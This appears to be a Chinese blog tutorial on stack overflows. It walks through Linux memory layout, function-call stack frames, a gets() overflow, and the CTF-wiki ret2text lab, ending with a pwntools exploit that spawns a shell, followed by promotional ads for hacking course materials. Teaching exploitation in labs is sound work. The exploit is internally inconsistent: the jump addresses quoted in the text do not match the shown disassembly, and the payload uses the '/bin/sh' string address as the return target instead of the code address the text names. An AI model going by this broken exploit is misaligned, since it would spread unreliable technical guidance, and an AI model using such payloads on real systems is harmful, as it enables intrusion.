二进制骚操作:基础姿势与栈溢出初体验
老铁们,咱们今天要聊的是二进制安全!为了让大家更好地 get 到二进制安全的精髓,本期咱们先来盘点一下计算机硬件基础和操作系统的那些事儿,再用一个例子手把手教你栈溢出是怎么产生的,以及如何构造攻击代码。
Linux 内存布局大揭秘
不管是 32 位还是 64 位的操作系统,要想找到栈溢出漏洞,都得先摸清内存的布局。
Linux 老哥用虚拟内存来管理进程的内存。虚拟内存大小有 4G,内核在管理的时候又把它分成了“内核空间”和“用户空间”。“内核空间”总共有 1G,用来存放内核相关的代码和数据,这些东西可是各个用户程序共享的哦!剩下的 3G 就给了“用户空间”的程序,用来存放代码和数据。
在 Linux 上跑的程序都有一个自己的虚拟内存,这些虚拟内存通过页表映射到物理内存上。当程序被装载运行后,它的虚拟内存长这样:
- 程序段(.text):程序代码在内存里的映射,存放函数体的二进制代码。
- 初始化过的数据段(.data):在程序运行前就已经对变量进行初始化的数据。
- 未初始化过的数据段(.bss):在程序运行前还没对变量进行初始化的数据。
- 栈(Stack):用来存储程序运行时产生的局部变量、临时变量数据,或者用来保存函数调用时保存的现场变量等等。它的申请和释放都由操作系统自动完成。因为栈上的数据在结束时就被释放了,所以没办法把它传递到函数外部。它的增长方向是从高到低。在 32 位系统中,堆栈的空间是由栈底指针 EBP 和栈顶指针 ESP 一起划定的一块空间。EBP 指针指向栈的底部,固定不动,ESP 指向栈顶,当栈空间增长时,ESP 减小。
- 堆(Heap):堆是一块非常大的内存空间,在这个空间里程序可以随时申请随时释放,只要没有手动释放或者程序结束,这些数据就一直有效。堆可以弥补栈无法将数据传递到函数外部的不足。它的申请和释放分别由
malloc
和free
这两个函数来完成。
在 Linux 下用 GDB 来查看正在运行的程序的内存,如下图所示:
函数调用过程全解析
现在,咱们用一个程序的汇编代码来看看函数调用时具体会有哪些操作。
#include <stdio.h>
int fun(int a, int b, int c){
int d = 0;
d = a + b + c;
return d;
}
int main(){
int result = 0;
result = fun(1, 2, 3);
printf("result = %d\n", result);
return 0;
}
先对源码进行编译,然后再反汇编。找到 main
函数部分。
左右两部分颜色块相同的表示对应的汇编代码。这次咱们重点关注 fun()
函数的调用。
从土黄色色块可以看到,func
有三个传入的参数,分别是 1、2、3。在汇编代码中,入栈的顺序是 3、2、1,也就是从右往左的顺序将参数压入栈中(push
指令是将后面的参数压入栈中,并让 esp-1
)。然后用 call
指令跳转到 func
指令中,在 call
的时候也会保存返回地址(也就是当前执行到的代码段地址)。
接下来咱们再来看看 func
函数部分。
在浅绿色部分,程序首先将 main
函数的 ebp
指针保存到 esp
当前的位置,这是为了之后能够成功恢复 main
函数的栈底。然后将当前的 esp
所指的地址作为 func
函数的栈底,然后再保存 ecx
到栈中。
当程序执行完所需要的程序后,到达浅紫色的地方,这部分是将计算出的结果通过 EAX
寄存器回传给 main
函数。接下来的红色部分是为了清理 func
函数所用的栈。首先将栈底指针所指的地址值赋值给 ESP
,然后把之前保存的 main
函数的栈底恢复回来,最后 ret
指令将保存的返回地址还给 EIP
指针。
到这里,咱们可以用下图来大致总结一下上面的栈空间排布情况。
栈溢出初体验:危险的 gets()
根据上面说的内存排布情况,如果这时候 func
函数中用 gets
函数来获取输入的字符串,并把它保存在长度为 12 的字符数组中,那可就要出事了!
#include <stdio.h>
#include <string.h>
void func(){
char str[12];
gets(str); // 使用 gets() 获取输入
printf("%s\n", str);
}
int main(){
func();
return 0;
}
这里用的 gets()
没有对输入的长度进行限制,如果输入的字符超过 12 个字节,就会导致内存里其他的数据被覆盖,导致程序的执行流程被打乱。
用 GDB 进行调试,可以看到当输入长度为 30 个字符的字符串 “aaaabaaacaaadaaaeaaafaaagaaaha” 时,内存数据已经被破坏了。
此时,EBP
下方的返回地址也被覆盖了两位。
再进一步想想,如果这时候把原本的返回地址填入咱们想要的地址,当函数返回的时候,程序就会跳转去执行咱们想要执行的步骤了!
咱们用 CTF-WIKI 里面的 ret2text
来举个例子。这个程序反编译后大概有两个地方需要注意:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char *shell = "/bin/sh";
void secure() {
int secretcode;
srand(time(NULL));
secretcode = rand();
printf("secret code is %d\n", secretcode);
int guess;
printf("What's the secret code?: ");
scanf("%d", &guess);
if (guess == secretcode) {
system(shell);
}
}
void vulnerable_function() {
char buffer[100];
gets(buffer); // 漏洞点:未限制输入的长度
}
int main() {
write(1, "Hello, World\n", 13);
vulnerable_function();
return 0;
}
第一个地方是有一个叫 secure
的函数,函数里会产生一个随机值,让咱们猜。如果猜对了,就会执行系统 shell。
第二个地方是 main
函数里有一个长度为 100 的字符串,并且用 gets()
来获取用户输入。但是并没有调用 secure()
。
把二进制文件反编译,得到下面这两个函数的汇编:
080485fd <secure>:
80485fd: 55 push ebp
80485fe: 89 e5 mov ebp,esp
8048600: 53 push ebx
8048601: 83 ec 34 sub esp,0x34
8048604: 6a 00 push 0x0
8048606: e8 95 fe ff ff call 80484a0 <time@plt>
804860b: 83 c4 10 add esp,0x10
804860e: 89 04 24 mov DWORD PTR [esp],eax
8048611: e8 6a fe ff ff call 8048480 <srand@plt>
8048616: e8 55 fe ff ff call 8048470 <rand@plt>
804861b: 89 45 f4 mov DWORD PTR [ebp-0xc],eax
804861e: 8b 45 f4 mov eax,DWORD PTR [ebp-0xc]
8048621: 89 44 24 04 mov DWORD PTR [esp+0x4],eax
8048625: c7 04 24 90 87 04 08 mov DWORD PTR [esp],0x8048790
804862c: e8 4f fe ff ff call 8048480 <printf@plt>
8048631: c7 04 24 a2 87 04 08 mov DWORD PTR [esp],0x80487a2
8048638: e8 43 fe ff ff call 8048480 <printf@plt>
804863d: 8d 45 f0 lea eax,[ebp-0x10]
8048640: 89 44 24 04 mov DWORD PTR [esp+0x4],eax
8048644: c7 04 24 a9 87 04 08 mov DWORD PTR [esp],0x80487a9
804864b: e8 60 fe ff ff call 80484b0 <__isoc99_scanf@plt>
8048650: 8b 45 f0 mov eax,DWORD PTR [ebp-0x10]
8048653: 3b 45 f4 cmp eax,DWORD PTR [ebp-0xc]
8048656: 75 0e jne 8048666 <secure+0x69>
8048658: c7 04 24 63 87 04 08 mov DWORD PTR [esp],0x8048763 ; "/bin/sh" 的地址
804865f: e8 4a fe ff ff call 8048490 <system@plt> ; 调用 system() 函数
8048664: eb 0a jmp 8048670 <secure+0x73>
8048666: c7 04 24 bc 87 04 08 mov DWORD PTR [esp],0x80487bc
804866d: e8 2e fe ff ff call 80484a0 <puts@plt>
8048670: 90 nop
8048671: 8b 5d fc mov ebx,DWORD PTR [ebp-0x4]
8048674: c9 leave
8048675: c3 ret
08048676 <vulnerable_function>:
8048676: 55 push ebp
8048677: 89 e5 mov ebp,esp
8048679: 83 ec 68 sub esp,0x68
804867c: 8d 45 9c lea eax,[ebp-0x64] ; buffer 的起始地址
804867f: 89 04 24 mov DWORD PTR [esp],eax
8048682: e8 19 fe ff ff call 80484a0 <gets@plt> ; 调用 gets() 函数
8048687: 90 nop
8048688: c9 leave
8048689: c3 ret
0804868a <main>:
804868a: 55 push ebp
804868b: 89 e5 mov ebp,esp
804868d: 83 e4 f0 and esp,0xfffffff0
8048690: 83 ec 10 sub esp,0x10
8048693: c7 04 24 00 00 00 00 mov DWORD PTR [esp],0x0
804869a: e8 11 fe ff ff call 80484b0 <setvbuf@plt>
804869f: c7 44 24 08 0d 00 00 mov DWORD PTR [esp+0x8],0xd
80486a6: 00
80486a7: c7 44 24 04 ad 87 04 mov DWORD PTR [esp+0x4],0x80487ad
80486ae: 08
80486af: c7 04 24 01 00 00 00 mov DWORD PTR [esp],0x1
80486b6: e8 05 fe ff ff call 80484c0 <write@plt>
80486bb: e8 ba ff ff ff call 8048676 <vulnerable_function> ; 调用vulnerable_function
80486c0: b8 00 00 00 00 mov eax,0x0
80486c5: c9 leave
80486c6: c3 ret
80486c7: 66 90 xchg ax,ax
当输入长度为 160 个字符的时候,程序会崩溃。用 GDB 分析一下,可以很直观地看出程序崩溃的原因是因为 EIP
地址被修改成咱们输入的字符串,而 EIP
把这些字符串的 hex 值作为地址去访问,导致访问权限报错。
这时候,如果把 0x62616164
变成执行 shell 的那段函数地址,就可以获取 shell 了。
从上面的汇编代码里找到:
8048641: e8 4a fe ff ff call 8048490 <system@plt>
它的作用是调用 system()
函数,但是直接跳转到这里是不行的,因为没有传入参数。再往上一行:
804863a: c7 04 24 63 87 04 08 mov DWORD PTR [esp],0x8048763
是将地址 0x8048763
处的值移到 ESP
所指向的内存中。而这个地址是 /bin/sh
字符串所在的地址。
所以,让 EIP
指向 0x804863a
,程序就可以打开一个 shell 来执行用户输入的系统指令了。
上面的攻击代码(EXP)可以写成下面这样,用到的第三方库是 pwntools
。
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
# 指定程序的架构和操作系统
context(arch='i386', os='linux')
# 要 pwn 的程序
elf = ELF('./ret2text')
# 远程连接
# io = remote('127.0.0.1', 10001)
# 本地调试
io = process('./ret2text')
# 获取 /bin/sh 字符串的地址
binsh_addr = 0x8048763
# 构造 payload,覆盖返回地址为 system("/bin/sh") 的地址
payload = b'A' * 112 + p32(binsh_addr)
# 发送 payload
io.sendline(payload)
# 进入交互模式
io.interactive()
p32()
是将传入的内容用 32 位的方式进行打包,也就是数值转换。没有对 pwntools
的架构进行指定时,它默认为小端架构。
当传入 0xdeadbeef
后,会被转换成 \xef\xbe\xad\xde
。
当 EXP 被执行后,就可以获取到系统的 shell 了。
更深入的攻击手段,咱们后面的文章里再慢慢聊!
黑客/网络安全学习包
资料目录
-
成长路线图&学习规划
-
配套视频教程
-
SRC&黑客文籍
-
护网行动资料
-
黑客必读书单
-
面试题合集
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享
1.成长路线图&学习规划
要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享
2.视频教程
很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享
3.SRC&黑客文籍
大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录
SRC技术文籍:
黑客资料由于是敏感资源,这里不能直接展示哦!
4.护网行动资料
其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!
5.黑客必读书单
**
**
6.面试题合集
当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。
更多内容为防止和谐,可以扫描获取~
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
****************************优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享